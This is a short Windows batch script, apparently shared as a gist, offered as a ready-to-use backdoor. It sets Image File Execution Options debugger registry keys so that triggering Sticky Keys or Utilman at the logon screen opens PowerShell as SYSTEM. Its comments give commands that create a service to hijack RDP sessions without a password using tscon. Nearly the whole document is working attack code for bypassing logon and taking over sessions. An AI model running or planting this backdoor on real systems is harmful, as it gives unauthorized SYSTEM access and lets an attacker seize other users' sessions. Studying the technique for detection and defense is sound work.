Utilman and Sethc (Sticky keys) ready for use backdoor script. Deadly when used with "Password-less RDP Session Hijacking" trick

sethc-utilman-backdoor.bat

@echo off

REM Backdoors sethc.exe (Sticky keys) and utilman (Win+U) in order to easily get past 
REM Windows logon screen (GINA). These processes will launch as SYSTEM. We can use then
REM technique dubbed as "Password-less RDP Session Hijacking", by doing:
REM	  (parameters to tscon needs to be adjusted)
REM		C:\> query user
REM		C:\> sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console"
REM		C:\> net start sesshijack
REM

set BACKDOOR="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "%BACKDOOR%" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "%BACKDOOR%" /f